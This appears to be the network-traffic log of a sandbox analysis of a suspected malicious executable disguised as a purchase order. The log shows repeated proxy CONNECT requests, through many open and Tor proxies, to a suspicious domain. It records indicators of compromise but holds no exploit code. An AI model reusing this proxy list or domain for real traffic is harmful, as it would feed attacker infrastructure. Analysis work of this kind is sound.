Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1210	192.168.2.10	53506	43.231.22.228	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.185111046 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.728641033 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Mar 2024 15:39:50 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1211	192.168.2.10	53233	74.118.80.244	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.240601063 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1212	192.168.2.10	53563	103.163.51.254	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.241539001 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1213	192.168.2.10	53249	40.76.160.143	9000	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.241631031 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1214	192.168.2.10	53353	154.16.116.166	39759	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.245202065 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.285996914 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:56.286490917 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:02.286123991 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:14.285764933 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1215	192.168.2.10	53587	192.99.169.19	8450	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.245240927 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:02.310115099 CET	22	IN	HTTP/1.1 502 ERROR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1216	192.168.2.10	53259	213.79.104.228	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.247236013 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.410783052 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.598206043 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1217	192.168.2.10	53572	31.134.151.40	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.261920929 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1218	192.168.2.10	53622	147.75.92.251	10089	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.270826101 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.546556950 CET	65	IN	HTTP/1.1 200 Connection Established Proxy-Agent: Zscaler/6.3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1219	192.168.2.10	53317	92.204.134.38	56177	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.284157038 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1220	192.168.2.10	53577	13.229.47.109	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.290580034 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.616070032 CET	223	IN	HTTP/1.1 400 Bad Request Date: Mon, 11 Mar 2024 15:37:18 GMT Content-Type: text/plain; charset=utf-8 Connection: close Content-Length: 12 X-Kong-Response-Latency: 9.7274780273438e-05 Server: kong/2.8.1 Data Raw: 42 61 64 20 72 65 71 75 65 73 74 0a Data Ascii: Bad request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1221	192.168.2.10	53640	104.27.122.6	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.291110992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.445462942 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:50 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1222	192.168.2.10	53586	51.89.14.70	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.298332930 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.076195002 CET	176	IN	HTTP/1.1 404 Not Found Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Mon, 11 Mar 2024 15:39:53 GMT Content-Length: 19 Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1223	192.168.2.10	53301	162.55.87.48	5566	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.299523115 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.607877016 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1224	192.168.2.10	53576	185.101.16.52	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.299998045 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1225	192.168.2.10	53650	103.72.79.250	55644	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.304024935 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.879556894 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.411550045 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.504880905 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.707952976 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:56.822983027 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.910744905 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:03.004800081 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:11.207787991 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1226	192.168.2.10	53631	61.79.73.225	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.305818081 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1227	192.168.2.10	53581	139.59.99.83	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.310903072 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.654362917 CET	891	IN	HTTP/1.1 400 Bad Request content-type: text/html cache-control: private, no-cache, max-age=0 pragma: no-cache content-length: 679 date: Mon, 11 Mar 2024 15:39:50 GMT server: LiteSpeed connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 30 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 49 74 20 69 73 20 6e 6f 74 20 61 20 76 61 6c 69 64 20 72 65 71 75 65 73 74 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"><title> 400 Bad Request</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">400</h1><h2 style="margin-top:20px;font-size: 30px;">Bad Request</h2><p>It is not a valid request!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1228	192.168.2.10	53279	51.161.131.84	43712	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.346941948 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.082782984 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.973668098 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1229	192.168.2.10	53642	192.252.216.81	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.387181044 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1230	192.168.2.10	53418	176.118.52.129	3629	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.387233019 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1231	192.168.2.10	53589	103.190.54.141	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.389628887 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1232	192.168.2.10	53593	120.194.4.157	5443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
